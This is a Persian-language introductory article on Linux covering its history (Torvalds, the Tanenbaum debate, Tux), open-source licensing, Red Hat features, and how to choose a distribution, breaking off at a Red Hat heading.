  :همراه اعلاميه معروف توروالدز آماده شد

   لينوس بندیکت توروالدز:از 

  
  MINIXگروه خبری : به

  
  MINIXکدهای منبع رایگان هسته مشابه : موضوع

  

ای  ای زیب ما از روزه ا ش ان   MINIX 1.1آی ود را خودش تگاه خ دازهای دس د و راه ان رد بودن ا م ه مرده امی ک د؟ هنگ ده ای روم ش  مح
د؟        ه زیبا هستيد و می ميرید تا      ژمينوشتند؟ آیا شما فاقد یک پرو      ا نيازهای خود در آوری را مطابق ب د آن سيستم عاملی داشته باشيد تا بتواني

  .اگر اینگونه است، این نامه برای شما نوشته شده است

این سيستم .  هستم٣٨۶ برای کامپيوترهای MINIXهمانطور که ماه پيش گفتم من در حال کار بر بروی یک سيستم عامل رایگان مشابه 
ایم         عامل اکنون بجایی رس    ر پخش نم سترده ت سخه   . يده است که قابل استفاده است و مایل هستم که کدهای منبع را در سطح گ ن ن  ٠٫٠٢ای
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نم   Bash ،GCC ،GNU-Make ،GNU-sed ،Compressاست ولی من موفق شده ام که نرم افزارهای          .  و غيره را تحت آن اجرا ک
ن  .  پيدا کنيد  pub/OS/Linux در دایرکتوری    ١٢٨٫٢١۴٫۶٫١٠٠ با آدرس    nic.funet.fiکدهای منبع این پروژه را ميتوانيد از آدرس          ای

را    .  و تعدادی باینری قابل اجرا تحت لينوکس استREADMEدایرکتوری همچنين دارای چند فایل     تمام کدهای منبع ارائه شده است زی
اینری    . هست کامپایل و استفاده کنيدسيستم را ميتوانيد همانطور که  .  در آن استفاده نشده است     MINIXهيچ یک از کدهای      ع ب دهای منب ک

  . پيدا کنيدpub/GNUها را هم ميتوانيد در مسير 

شتر از یک   .  رسيد٠٫١٠ پس از چند هفته آماده شد و تا دسامبر، لينوکس به نسخه  ٠٫٠٣لينوکس نسخه    هنوز لينوکس فقط چيزی کمی بي
وت            ATاین سيستم عامل فقط دیسکهای سخت       . فرم اسکلت بود   ان ب ه خط فرم ستقيما ب ستم نداشت و م  را پشتيبانی ميکرد و ورود به سي

شد سخه . مي د٠٫١١ن ر ش ی بهت ای گرافيکی   .  خيل ی و کارته سکهای فلاپ رد، دی شتيبانی ميک ه پ د زبان دهای چن سخه از صفحه کلي ن ن ای
VGA  ،EGA  زودی  .  افزایش پيدا کرد و ادامه یافت ٠٫٩۶ و  ٠٫٩۵ به   ٠٫١٢شماره نسخه ها از     . نيز پشتيبانی ميشدند  ... ، هرکولس و ب

  . در فنلاند و مناطق دیگر، در سرتاسر جهان منتشر شدFTPکد آن بوسيله سرویس دهنده های 

  مقايسه و توسعه

ود، مواجه شد    MINIXبزودی توروالدز با مقایسه هایی از طرف اندرو تاننباوم، معلم بزرگی که     دز   .  را نوشته ب رای توروال اوم ب  تاننب
  :مينویسد

ستيد،    .  یک اشتباه پایه ای بود١٩٩١من بر این نکته تاکيد دارم که ایجاد یک هسته یکپارچه در سال          “ خدا را شکر که شما شاگرد من ني
  ”.اگر نه برای چنين طرحی نمره بالایی نمی گرفتيد و

وده است      اوم  . توروالدز بعدا پذیرفت که این بدترین نکته در توسعه لينوکس ب ه می گفت واقعيت          تاننب ود و هرچه ک تاد مشهور ب یک اس
  .توروالدز کسی نبود که به این سادگی ها پذیرای شکست باشد. ولی وی در مورد لينوکس اشتباه ميکرد. داشت

  .”لينوکس منسوخ شده است“: تاننباوم همچنين گفته بود 

تاد       با پشتيبانی قوی از طرف اجتما     . اکنون نوبت حرکت نسل جدید لينوکس بود       اوم فرس ع لينوکس، توروالدز یک پاسخ مناسب برای تاننب
:  

  ”. استMINIXاین بهانه خوبی برای برخی مغز خرابکنی های  شغل شما استاد دانشگاه و محقق بودن است و“

ازی  لينوکس دیگ . سپس هزاران نفر و سپس صدها هزار نفر       . بزودی صدها نفر به اردوگاه لينوکس پيوستند      . و کار ادامه یافت    ر اسباب ب
ا  .  قرار داده شد GPLلينوکس تحت مجوز . ، لينوکس آماده یک نمایش واقعی بود   GNUه  ژبا پشتيبانی نرم افزارهای پرو    . هکرها نبود  ب

د                  ر دهن ا را تغيي شجویان و . این مجوز همه ميتوانستند کدهای منبع لينوکس را به رایگان داشته باشند، بر روی آنها مطالعه کرده و آنه  دان
  .برنامه نویسان آنرا قاپيدند

ود و هست        . گان تجاری وارد شدند     ه  و خيلی زود توليد کنند     ه خودی خود رایگان ب وکس ب د،       . لين ام دادن دگان انج ن توليدکنن ه ای اری ک ک
ود،        ه کامپایل کردن بخش ها و نرم افزارهای مختلف و ارائه آن ب       ا ب ستم عامله ایر سي د س ع همانن ل توزی ردم   صورت یک فرمت قاب ا م  ت

د         تفاده کنن ان                         . عادی نيز بتوانند از آن اس اربران در سرتاسر جه شترین سهم ک ان و زوزه دارای بي د ردهت، دبي ایی مانن ع ه ون توزی اکن
  .، توزیع های لينوکس در بين مردم بسيار گسترش یافتندGNOME و KDEبا رابطهای گرافيکی کاربر جدید مانند . هستند

ر داده شد    . ها منتقل شده است      فورم ، لينوکس به روی اکثر پلات     PCدر کنار   . ا لينوکس رخ ميدهد   همچنين اتفاقات جالبی ب    وکس تغيي لين
داد       .  را اجرا نمایدPalm Pilot یعنی ٣Comتا کامپيوتر دستی شرکت  وان تع ا بت ن امکان را بوجود آورد ت تکنولوژی کلاستر کردن ای

ک مجموع  ه ی وکس را ب ينهای لين ادی از ماش ودزی دیل نم ی تب د پردازش وازی. ه واح امپيوتر م ک ک ل . ی ين ١٩٩۶در آوری  محقق
ی لوس آلاموس از          تفاده                ۶٨آزمایشگاههای مل بيه سازی موج انفجار اتمی اس وازی و ش ردازش م رای پ وکس ب ر لين ی ب امپيوتر مبتن  ک

زات و سخت        ابر. ولی بر خلاف ابر کامپيوترهای دیگر، هزینه آنها بسيار ارزان تمام شد     . کردند ام تجهي ا تم ا ب کامپيوتر خود ساخته آنه
ون  ١۶کامپيوتر به سرعت  این ابر. کامپيوتر تجاری است   دلار هزینه در بر داشت و این یک دهم هزینه یک ابر            ١۵٢٠٠٠افزارها    بيلي

پس از سه  . ترین آنها بود  از پایدارکامپيوتر جهان دست پيدا کرد و صد البته یکی     ام این ابر   ٣١۵محاسبه در ثانيه دست یافت و به رتبه         
  .ماه از آغاز فعاليت، هنوز بوت نشده بود

داران متعصب آن هستند              ه         . بهترین موردی که امروزه برای لينوکس وجود دارد، طرف د ارائ زاری جدی ه سخت اف ه یک قطع هنگامی ک
ده     برای مثال هنگام  . ميشود، هسته لينوکس برای استفاده از آن تغيير داده ميشود          ی شرکت   ۶۴ ارائه پردازن ه سرعت    AMD بيت  هسته ب
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زاری موجود اعم از                . چند هفته برای کار با آن آماده شد         PC ،MAC ،Alphaاکنون لينوکس بر روی تمام انواع خانواده های سخت اف
تفاده در ماشين آلات صنعتی و آلات و ادو            رای اس را ب ه آن ل اجراست ک ردازش      و انواع سخت افزارهای درون ای قاب ه پ از ب ه ني ی ک ات

  . ایجاد شد، وارد هزاره جدید شده است١٩٩١لينوکس با همان فلسفه و هدفی که در سال . کامپيوتری دارند، بسيار مناسب نموده است

ام مطالعات   .  او یک ميلياردر نيستسبر خلاف بيل گيت . توروالدز، هنوز یک انسان ساده است      ا      پس از اتم ا ب ا رفت ت ه آمریک  ش وی ب
ده                     .  همکاری نماید  Transmetaشرکت   سمتا پردازن ود، تران ال آن ب پس از انجام یک پروژه فوق سری که توروالدز یکی از اعضای فع

Cruose     رد ه ک ان است         .  را با بازار ارائ ویس جه ه ن رین و مشهورترین برنام دار ت وز پرطرف دز هن دز    . توروال در حال حاضر توروال
  .مایت شرکتهای بزرگ به طور تمام وقت بر روی لينوکس کار ميکندترانسمتا را ترک نموده و با ح

  لينوکس امروز: پس از يک دهه 

رود               د  . امروزه لينوکس بيش از یک دهه توسعه را پشت سر گذاشته است و یکی از سریع توسعه ترین سيستم های عامل به شما مي از چن
د ، امروزه ميليون١٩٩٢ و ١٩٩١کاربر انگشت شمار در سالهای       رین دشمن     IBM. ها کاربر از لينوکس استفاده ميکنن انی بزرگت ه زم  ک

 تحت لينوکس Open Source به شمار می رفت، اکنون سرمایه گذاری عظيمی در زمينه توسعه راه حل های Open Sourceجماعت 
  . د، روز به روز افزایش می یابددر حال حاضر تعداد توسعه دهندگانی که برای افزایش قابليتهای لينوکس تلاش ميکنن. نموده است

د                           ه ان ده گرفت ر عه وکس را ب ر لين ی ب ون  . امروزه تعداد زیادی از شرکتها و موسسات حرفه ای تجاری، پشتيبانی از محصولات مبتن اکن
واع  از نظر قابليت اطمينان و پایداری و همچنين حفاظت در   . دیگر استفاده از لينوکس در محيطها اداری، پذیرفتن ریسک نيست           برابر ان

ای تجاری توسعه                    . ویروسها چيزی بهتر از لينوکس وجود ندارد       وکس در محيطه تفاده از لين د ردهت اس با تلاش شرکتهای بزرگی مانن
ر                       ی ب اری مبتن ستگاههای ک ا و ای ده ه تفاده از سرویس دهن زرگ در حال اس فراوان یافته و اکنون تعداد زیادی از شرکتهای کوچک و ب

  .لينوکس هستند

  )Desktop Linux(طلوع لينوکس روی ميزی 

ر                 تفاده کردن از آن ب اربران را از اس سياری از ک وکس، ب ی لين بزرگترین ایرادی که از لينوکس گرفته ميشد چه بود؟ قبلا محيط تمام متن
ن محيط اصلا                         . حذر ميداشت  ی ای ار شماست، ول ستم در اختي رل کامل سي ی کنت تفاده از محيط متن اربران عادی    با اینکه در اس رای ک  ب

ه           . سيستمهای کامپيوتری مناسب نيست    ر پای ه ب ستم                 X-Windowمحيط های گرافيکی ک ه سي اتی ک ز پاسخ گوی امکان تند ني  وجود داش
د               د، نبودن ه ميکردن اربران خود ارائ وده                   . عاملهای گرافيکی مانند ویندوز برای ک ر ب ن وضعيت در حال تغيي د سال گذشته ای ی از چن ول

ون        .  تصویر لينوکس را کامل کرده اند      GNOME و   KDEون محيطهای گرافيکی حرفه ای مانند       اکن. است ای گرافيکی اکن ن محيطه ای
  .ست که امروزه کاربران عادی نيز ميتوانند از لينوکس استفاده کنند اها بسيار کاربر پسند و قدرتمند شده اند و وجود این سيستم

  لينوکس در جهان سوم

امپيوتر در         . شورهای جهان سوم تحولی ایجاد نموده است   ورود لينوکس به ک    ه ک ان سومی در زمين وکس کشورهای جه ل از وجود لين قب
ان            . سطح بسيار پایين تری قرار داشتند   ه کشورها همچن ن گون رای ای زار ب رم اف ه ن ی هزین ود ول ده ب هزینه سخت افزارها بسيار پایين آم

ا دلار           این امر باعث شد تا در بسيا      . کمر شکن بود   ه باعث ميليارده د ک دا کن ا گسترش پي رم افزاره ری از این کشورها کپی غير مجاز ن
هنگامی که مجموع درآمد سرانه  . یکی از عمده ترین دلایل این کار پایين بودن درآمد سرانه در این کشورهاست        . خسارت ساليانه ميشود  

  . دلاری وجود نخواهد داشت١٠٠ک سيستم عامل  دلار نيست، هيچگاه امکان خرید ی٣٠٠ تا ٢٠٠ساليانه بيش از 

ر داده است                 ن وضعيت را تغيي وکس را در کامپيوترهای               . طلوع لينوکس و سایر توليدات باز متن، ای وان لين ا بت ن امکان وجود دارد ت ای
وز در کشورهای درحال                    ۴٨۶قدیمی   ی هن د ول اریخ پيوسته ان ه ت ه ب تفاده     و پنتيوم که اکنون در کشورهای توسعه یافت ا اس  توسعه از آنه

از . ميشود، اجرا نمود   ن             همچنين استفاده از نرم افزارهای رایگان ب زاری ای رم اف ام آور ن ه های سرس وی هزین ا جل ه ت تن گسترش یافت م
رد شورها را بگي از  . ک ای ب رم افزاره وکس و ن تفاده از لين ين اس ای لات ایی و آمریک يایی، آفریق شورهای آس روزه در ک سترش ام تن گ  م

امروزه  . فراوانی یافته و با استفاده از خصلت ذاتی تغيير پذیری لينوکس، برای استفاده از زبانهای ملی این کشورها سفارشی شده است                 
  .مستندات لينوکس به اکثر زبانهای زنده جهان ترجمه شده اند

  کار تا ابرکامپيوترها از ميز

ود    هنگامی که توروالدز لينوکس را ایجاد نمود، این مخلو  ا ب رای هکره ازه ب ان دستگاههای    . ق جدید، فقط یک اسباب بازی ت ی از زم ول
یکی از مهمترین استفاده های امروزی   .  که نخستين هسته لينوکس بر روی آنها اجرا ميشد، لينوکس راه درازی را طی نموده است   ٣٨۶
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امپيوتر  های سنگين موازی در ابر     لينوکس استفاده از آن در پردازش      ر      .است ا  ه  ک ر اب امپيوتر   امروزه اکث ان ساخته        ک ه در جه ایی ک ه
  .ميشوند، از لينوکس به عنوان سيستم عامل خود استفاده ميکنند

  داستان ادامه دارد

رو       ز است                  ژحرکت لينوکس از یک پ انی شدن یک انقلاب شگفت انگي ا جه رو . ه هکری ت ه     GNUه  ژپ ل ده ه در اوای  توسط  ١٩٨٠ ک
ه  MINIXپروفسور اندرو تاننباوم و سيستم عامل  . متن را رهبری نمود ه نرم افزارهای بازریچارد استالمن شروع شد، توسع     او مطالع

وکس شد                    د لين وکس   . سيستم عامل ها را از حالت تئوری به عملی تبدیل نمود و در نهایت همت و تلاش توروالدز منجر به تول امروزه لين
متن و شرکتهای بزرگی    جهانی است که توسط ميليونها نفر برنامه نویس بازه هکری به شما نمی رود بلکه یک حرکت ژدیگر یک پرو  

  .لينوکس در تاریخ کامپيوتر به عنوان یکی از شگفت انگيز ترین محصولات تلاش بشری باقی خواهد ماند.  حمایت ميشودIBMمانند 

  نشان عزيز لينوکس : توکس پنگوئن 

وکس یک پنگوئن است      س   . نشان لين ایر سي رخلاف س اد جدی نيست       ب شان زی ن ن ای تجاری، ای دون     ! تم عامله شانگر وضعيت ب وکس ن ت
البی دارد        . نگرانی حرکت لينوکس است    سيار ج ود              . این نشان تاریخچه ب شانی ب ه ن د هر گون دا فاق وکس در ابت دز      . لين ه توروال هنگامی ک

د، پنگوئن     برای تعطيلات به استراليا رفته بود، در دیداری که از یک باغ وحش داشت، هنگام         ازی کن ی که می خواست با یک پنگوئن ب
 .دست وی را گاز گرفت و همين ایده ای شد تا از پنگوئن به عنوان نشان لينوکس استفاده شود
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  Linuxتاریخچه 
  

عامل موجود ناراضی بود به فکر افتاد که  که از سيستم Linus Torvalds، یکی از دانشجویان دانشگاه هلسينکی به نام ١٩٩١در سال 
ود                    Unix. از سيستم عامل برای کارهای خود استفاده کند        ران ب ی قيمت ان گ د محسوب می شد، ول ستم عامل قدرتمن ن   . یک سي ابر ای بن

Torvalds       به فکر نوشتن نسخه ای از Unixق   وی پس از تنظيم قسمت های اصلی برنا  . این کار ساده بود. برای خود افتاد ه، از طری م
ه وجود   اینترنت مجموعه ای از برنامه نویسان با استعداد تشکيل داد و افراد این مجموعه به کمک هم سيستم عامل یا هسته ای                د  آب وردن

  . موسوم استLinuxکه امروزه به 
  

ود      در شروع کار گرفت، توزیع و اشتراک گذاری رایگان کد هسته ل       Torvaldsیکی از مهمترین تصميماتی که       رادی ب رای اف وکس ب ين
  . امروزه نيز لينوکس به صورت رایگان و عمدتا از طریق اینترنت توزیع می شود.که مایل بودند در توسعه این سيستم عامل سهيم باشند

  
ا گذاشتن             ) open source(زاد آهای منبع  کد ر پ دون زی د در ساخت و توسعه ان، ب ردی می توان  برای عموم ساخته می شوند و هر ف

ر داده و                             . انحصاری ان شرکت داشته باشد     تملکقانون و    رای سرگرمی ،تغيي ی ب ل خود، حت ع را مطابق مي د منب د ک ردی می توان هر ف
ع              آولی  . از ان را منتشر سازد    نسخه ای    ر و توزی تفاده، تغيي رای اس نچه که افراد نمی توانند تغيير دهند، جلوگيری از هر شخص دیگر ب

اعمال این محدودیت که نمی تواند به طور انحصاری به شخص یا شرکتی تعلق . است که شما ان را تغيير داده اید     ان نسخه از نرم افزار      
  .داشته باشد باعث پيشرفت های حيرت انگيزی در این صنعت گردید

  
ا     .برای استفاده عموم عرضه گردید    ) ١٫٠نسخه  (، اولين نسخه واقعی لينوکس      ١٩٩۴در اوایل بهار     ی در ان زم ل،      حت ستم عام ن سي ن، ای

روش می                     ه ف ه قيمت صدها دلار ب ستم عامل های دیگر ب ه در سي یک سيستم عامل خوب محسوب می شد و از ویژگی های رایگانی ک
  .رسيد برخوردار بود

  
  

  
Linus Torvaldsپدر سيستم عامل لينوکس ،   

  
   ؟Linuxچرا 

  
ز در دسترس                      کد منب . لينوکس یک نرم افزار رایگان قابل دسترس می باشد         ستم عامل محسوب می شود ني ع لينوکس که قلب و روح سي

 در ساخت و تهيه بيشتر نرم افزار های کمکی جهت سهولت بخشيدن     Free Software Foundation (FSF(سازمان .عموم می باشد
  .به کار و استفاده با لينوکس همکاری می کند

  
)  می باشندRed Hatکه ساخته شرکتهای دیگر و یا خود (ا نرم افزار های دیگر  سيستم عامل پایه لينوکس را بRed Hat, Inc.شرکت 

ن مجموعه را   . ادغام می کند و یک بسته نرم افزاری ارایه می دهد که گاهی اوقات ارزش ان بيش از کليه نسخه های ارائه شده است                        ای
distribution   یا flavor   ام می           ک اری  ک. بوده و هست  س به خودی خود رایگان      کلينو.  لينوکس می نامند ل ردهت انج ه شرکت هایی مث

ا               کردن بخش ها و نرم افزارهای مختلف و ارائه آن بصورت ی            کامپایل  کدهند،   ا است، ت ستم عامله ایر سي د س ع همانن ل توزی  فرمت قاب
تفاده          د کمردم عادی نيز بتوانند از آن اس ای گرافي      . نن ا رابطه ين ب د    ک ی  ک همچن و    ، توزی  GNOMEاربر مانن ردم      کع های لين ين م س در ب

  .بسيار گسترش یافته است
  

ی      دگی م ات زن اوری اطلاع ر فن ی ب ایی متک روزه در دني روز         ام ه ب ر ب ه منج ر لحظ ات در ه ان اطلاع ادن جری ر افت ه خط يم و ب کن
ن   .ست بر این اساس امنيت در بين سيستم های عامل از اهميت زیادی برخوردار ا. های جبران ناپذیری خواهد شد  خسارت وکس در ای لين

رای محيط        .زمينه بسيار قدرتمند است    دا ب وکس از ابت ار    های شبکه     لين د ک سائل          ای و چن ين باعث رعایت م ره طراحی شده است و هم ب
  . امنيتی در ان شده است
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   Linuxکاربرد های 
  

ت،            Red Hat Linuxاز  ار، یک سرور شبکه و دروازه اینترن ز ک زار مي وان یک اب ه عن وان ب واره    می ت ، )Firewall(تش  آ یک دی
ده ای              ) ط هوشمند یا یک ربا    VCRمانند یک   (پایگاه یک سيستم از پيش تعبيه شده         د پردازن امپيوتر چن و یا حتی به صورت یک سوپر ک

  .استفاده کرد
  

ار      ز ک ر مصرف مي ه های         Red Hatدر : ابزار های پ د مجموعه برنام زار های دیگر مانن رم اف رای س  OpenOffice ن ار   ب هولت ک
ه های       . کاربران قرار داده شده است     ایش                    OpenOfficeمجموعه برنام ه نم سترده، برنام ل، صفحه های گ رداز کام  شامل یک واژه پ

ا نصب   . محتویات، یک برنامه رسم گرافيک و ابزارهای ساخت صفحات وب می باشد    OpenOffice، مجموعه  Red Hat Linuxب
  .نها در نوار منو قرار داده می شوندآه های ان برای سهولت دستيابی به امنصب شده و نشانه های مربوط به برن

  
  :مطالب مربوط به چند رسانه ای ها

  
 Red Hat Linux         رار داده است سته ق انه ای را در یک ب د رس دد چن زار های متع وان       .  برای استفاده شما اب سته می ت ن ب ه کمک ای ب

لام          . مانند ایستگاه های رادیو یی در اینترنت گوش داد         موسيقی پخش کرده و به منابع چند رسانه ای         وان عکس و دیگر اق وکس ميت در لين
  . به کامپيوتر منتقل کردMP3را از دوربين و دستگاه پخش 

ه   . به عنوان سرور مبتنی بر شبکه نيز به کار می رودRed Hat Linux: خدمات شبکه ای ه خدمات    Linuxمحبوبيت اولي دیون ارائ  م
  .اک گذاری پرونده ها و چاپگر به طور کامل استوب و اشتر

  

  
  

  استفاده از ابزارها و خدمات شبکه ای
  

   اداره Open Source Apacheبيشتر سرورهای وب در اینترنت، توسط سرور وب : Apacheسرور وب 
  . دایر کنيدApacheشما می توانيد یک سرور وب ساده را با نصب نرم افزار . می شوند

  
OpenSSH :   

  
ر از     secure Shell.  امکان برقراری یک ارتباط امن در اینترنت را فراهم می سازد  secure Shellنسخه منبع ازاد  ه مراتب امن ت  ب

telnetتحت .  می باشدOpenSSHمی توانيد بدون اینکه فرد دیگری قادر به شنيدن مکالمات شما باشد با دیگران ارتباط برقرار کنيد .  
  

(Virtual Private Network) : VPN   
  

VPN                زار     .  ارتباطات در یک شبکه نا امن، مثل اینترنت را در ساخت شبکه های شخصی، رمز نویسی می کند رم اف سته های ن وجود ب
Red Hat Linuxو ابزار های ان برای برقراری یک ارتباط امن بين دو کامپيوتر یا شبکه های خصوصی در اینترنت لازم می باشد .  

  
  ): Firewalls( اتش دیواره های

  
رای       Red Hat Linuxبرای دور نگه داشتن نفوذ گران،  واره اتش ب د یک دی ا بتواني  با ارائه ابزار های حفاظتی به شما امکان می هد ت

  . از انعطاف پذیری کاملی برخوردار استRed Hat Linuxاز لحاظ اعمال این دیواره اتش، .سيستم خود بسازید
ه ای ا   وق نمون د تحت       موارد ف ه می تواني ایی است ک د  Red Hat Linuxز کاره ام دهي ن       . انج ا ای شتر ب سمتهای بعدی بي در ق

  .شنا خواهيم شدآسيستم عامل 
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   :)distribution (انواع توزیع های لينوکس
  

  .رداختهای لينوکس خواهيم پ)  distribution(در این قسمت به مفهوم انواع توزیع .گفتنی ها در باره لينوکس بسيار است
  
ه چرا انواع مختلفی از  کس را دارند، انتخاب توزیع است و این    کسيستم عامل لينو   ار با که قصد   کاربرانی  کی از سوالات مطرح برای      کی

   مناسب تر است؟ کداميکس وجود دارد و کلينو
  

  
  
  

  توزیع چيست؟ 
  

و    ه خودی خود ی        کسيستم عامل لين ستم عامل آزاد و رایگان است          کس ب و .  سي د جمع آوری       ک س را هر     کلين ام   ک س می توان ه ن رده و ب
و   . رده و به فروش برساندکخودش به رایگان عرضه      ستم های لين ش     کعلت چيست؟ سي ادی ت سيار زی ه هر  ک يل شده  کس از بخش های ب

ایی است   س مانند هواکمی گویند لينو .  نقطه از جهان قرار دارند     کدام در ی  که هر   کبخش آن توسط عده ای خاص توسعه می یابد           ه ک پيم
وان ی      ک در صورتی    . ) ته نقطه قوت آن به شمار می رود        کالبته این ن  . (شور ساخته اند  ک کهر قسمت آن را در ی      ه عن اربر ک  که شما ب

  . امپایل استفاده نمایيدکرده و پس از کس داشته باشيد، باید تمام این قطعات را جداگانه جمع آوری ک لينوکبخواهيد ی
  

رای           کبنابراین افراد و شر   . ان و توانایی را دارند    ک این ام  می از مردم  کدرصد   ت های محدودی علاوه بر جمع آوری این قطعات مجزا، ب
ام              ک اربران  ک مجموعه گردآوری شده توسط خود برنامه هایی نصب و مدیریت نموده تا              ه آسانی انج ستم عامل ب دیریت سي ار نصب و م

راد و ش      کبه این مجموعه ها     . دهند ا              کره توسط اف ع ی ردآوری شده است، توزی و Distributionت های مختلف گ د  ک لين ه  . س می گوین ب
و      ر لين سخه  کس ی  کزبان ساده ت دارد         ن شتر ن سخه   . GNU/Linux: ی اصل بي ن ن ان          ای ا هم دادی شر   . است  kernelی اصلی ی ا   کتع ت ی

روه دیگری ی ر گ ا ه شگاه ی سته اضافه می کدان ن ه ه ای ات ب دک  سری امکان يط. نن ل مح ر .... ی و ک گرافيمث ه ه ا یکب  کدام از اینه
Distrbutionکس یا اصطلاحا یک از لينو Distroمی گویند  .  

  
  علت تنوع توزیع ها چيست؟ 

  
ا     کمثلا مم. ندکه آن را از توزیع دیگر متمایز می کس دارای ویژگی های خاصی است ک از توزیع های لينو   کهر ی  ا ب ن است نصب آنه

ند     کو یا ابزارهای مدیریت گرافي  )  سان است کس ها ی  کالبته اصول نصب همه لينو     (هم تفاوت داشته باشند      اوت باش م متف ا ه ی تهيه شده ب
ربندی آنها متفاوت باشد و یا ک توزیع خاص ارائه می شوند جدیدتر یا قدیمی تر باشند، محل فایل های پي    که با ی  کو یا نسخه برنامه هایی      

ب       کاری،  کاصی مانند سرویس دهنده، ایستگاههای      ن است توزیع هایی برای امور خ      کمم دیریت ش دیمی، م ه طراحی شده     کامپيوترهای ق
  .  می تواند توزیع مخصوص خود را ارائه نمایدیبنابراین هر فرد یا گروه خلاق. باشند

  
ه می شوند       توزیع ها به دو صورت تجاری و          . ربندی آسان بهينه سازی شده اند     کمثلا برخی از توزیع ها برای نصب و پي         . رایگان ارائ

ا رایگان هستند               ه هر حال شما در ا     . یعنی در ازای دریافت برخی از آنها باید پول پرداخت شود و برخی از آنه ه ب ادر   کالبت وارد ق ر م  ث
برخی از  ثر توزیع های غير تجاری و  کا. پی و توزیع نمایيد   کس را چه رایگان و چه تجاری به تعداد نامحدود           ک توزیع لينو  کيد تا ی  هست

م نيست از چه     که لينوکدر صورتی . توزیع های تجاری بصورت رایگان از سایت های مربوطه قابل دانلود هستند            د، مه س را یاد بگيری
ام       که در ی  ک شبيه هم هستند و تمام اموری        ذاتاًچون همه آنها    . نيدکتوزیعی استفاده    ل انج ز قاب ع دیگر ني د، در توزی  توزیع انجام می دهي
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د                          ). شاید به نحو دیگر   (بود  خواهد   اد شده ان ع های دیگر ایج ه سازی در توزی ع     ک برخی از توزیع ها به دليل تغييرات و بهين ا توزی ه آنه
ان است          کمثلا توزیع ليبرانت ی     .  توزیع می نامند   کهای مبتنی بر ی    ر دبي ی ب ع مبتن بدی         .  توزی ع فارسی ش ثلا توزی ا م ع   کس ی  کی  توزی

  . انات فارسی اضافه شده استکدر آن امه کس است کناپيکمبتنی بر 
  
  دام توزیع؟ ک
  

 توزیع کبه عنوان مثال مراحل نصب ی.  از توزیع ها دارای ویژگی های خاص خود هستندکردیم، هر یکه در بالا اشاره     کهمانطوری  
  . بسيار راحت است و توزیع دیگر از نظر پایداری و امنيت مطرح می باشد

  : ایط زیر داردانتخاب توزیع بستگی به شر
  

  اربر کسطح علمی  
  س کمورد استفاده از لينو 
  ویژگی های توزیع  
  بازار  

  
  .  این شرایط می پردازیمکایکنون به بررسی یکا

  
ف ی : ال طح علم نایی کاربرانی ک: اربرکس و که دارای آش ا لين ری ب وند   کمت ی ش ایی م ع ه ذب توزی ستند، ج ای کس ه ه دارای ابزاره
همچنين دارای نرم افزارهای جدیدی باشد  . ه آنها قادر می سازد راحت تر سيستم شان را اداره و نصب نمایند       ک ی است کربندی گرافي کپي
د        که به آنها حدا   ک ه نمای ا را ارائ ایی      . ثر قابليت ه ع ه رای    ک از توزی ازه    ک ه ب دورا، زوزه              ک اربران ت وان ف سيار مناسب هستند، می ت ار ب
)SuSE( ت دری)RedHat(، رده دوز )Mandrake (ک، من يس )Lycoris(وریس ک، لي)Lindows(، لين و ) Mepis(، مپ

XandarOS   دی گرافي که پيشرفته تر هستند و ابزارهای پي    کاربرانی  ک.  را نام برد وده،    ک ربن م نب شان مه ستم    کی برای يفيت و سرعت سي
ان  . می شوند   ) Slackware(ور  کسلاو ا ) Gentoo(، جنتو   )Debian(برایشان مهم تر است جذب توزیع های حرفه ای مانند دبيان             دبي

زار پي     کبه سخت نصب شدن معروف بوده و اسلا        دی گرافي  کور هم هيچ اب دارد  ک ربن ا              . ی ن سيار ب ا ب ع ه ن توزی ی در عوض هر دو ای ول
  . يفيت و پایدار هستندک
  
ز اصلی ترین نيازها می توان به امروزه ا. برخی از توزیع ها مخصوص نيازهای خاصی طراحی شده اند     : سکمورد استفاده از لينو   : ب

ام   کان را به شما می دهند       کالبته برخی از توزیع ها مانند ردهت و دبيان این ام          .اری اشاره نمود  کسرویس دهنده ها و ایستگاه های        ه هنگ
د شد             کنصب، نوع مصرف آنها را تعيين        ه آن نصب خواهن وط ب ا   برخی . نيد و با توجه به انتخاب شما، نرم افزارهای مرب ع تنه  از توزی

ع  که ی ک) Knoppix(س  کناپيکس  کمثلا لينو .  نياز طراحی شده اند و دارای ابزارهای مربوط به آن نياز می باشند             کمخصوص ی   توزی
زی   ک ه برای   کروی ميزی است، تنها دارای ابزارهایی است         و  ک اربران روی مي ا لين ه   ک  وظایفی دارد  SOLس کاربرد دارد و ی ا ب ه تنه

  .  دهنده می خورد سرویسکدرد ی
  
ل انتخاب می سازد             ک توزیع دارای ویژگی های است       کبرخی اوقات ی  : ویژگی های توزیع  : ج تفاده قاب رای  اس و  . ه آن را ب ثلا لين س کم

ا مرور صوتی وب و                     . انات مخصوص نابينایان می باشد    کدارای ام ) Oralux(س  کاورالو ل و ی ایش های بری د شناسایی صفحه نم مانن
د           کس مم ک لينو کیا ی  و. کيترونکپست ال  شتيبانی نمای ا مم   . ن است سخت افزارهای خاصی را به خوبی پ يفيت  ک ن است سرعت و     ک و ی

  .  انتخاب قرار گيردک توزیع یا آسانی استفاده از آن ملاکی
  
  .  انتخاب باشدک توزیع در بازار و یا نبود آن ملاکن است موجود بودن یکمم: بازار: د
  

  نيم؟ کتخاب دام را انکبالاخره 
ع محدودیت های فراوانی وجود دارد                   ورد انتخاب توزی ران در م ازار ای رای         . خوب، در ب ازار، ب ع های موجود در ب ه توزی ا توجه ب ب

  : مصارف گفته شده توزیع های مقابل آن توصيه می شوند
  

ازه    کاری،  ک، ایستگاه   )Desktop (رکا ميزمصرف   دورا   ) Libranet(، ليبرانت    )Redhat(، ردهت    )SuSE(زوزه  : ارک اربران ت ، ف
)Fedora(   
  

، ) Libranet(، ليبرانت    )Slackware(ور  ک، اسلا )Debian(دبيان  : اربران حرفه ای  کاری،  ک، ایستگاه   )Desktop(ارک مصرف ميز 
   )Fedora(فدورا 

  
  ) Redhat(، ردهت )Debian(دبيان : مصرف سرویس دهنده
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  ) Shabdix(س کشبدی، )knoppix(س کناپيک:  های زندهکدیس

  
س           CDاملا از روی    ک ه  کس هایی هستند    ک های زنده، لينو   که دیس کتوضيح این  ارد دی ا روی ه ه نصب آنه ازی ب  ک اجرا می شوند و ني

د           (.  ها برای مصارف آموزشی، عيب زدایی و نمایشی مناسب می باشند           کاین دیس . سيستم نمی باشد   م مفي البته برای کار های هکری ه
  )هستند
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  آشنايی با نسخه های مختلف لينوکس 
  

  . نها را توضيح دادآکه نمی توان همه س به قدری زیاد است کتعداد نسخه های لينو
  

Red Hat:   
  

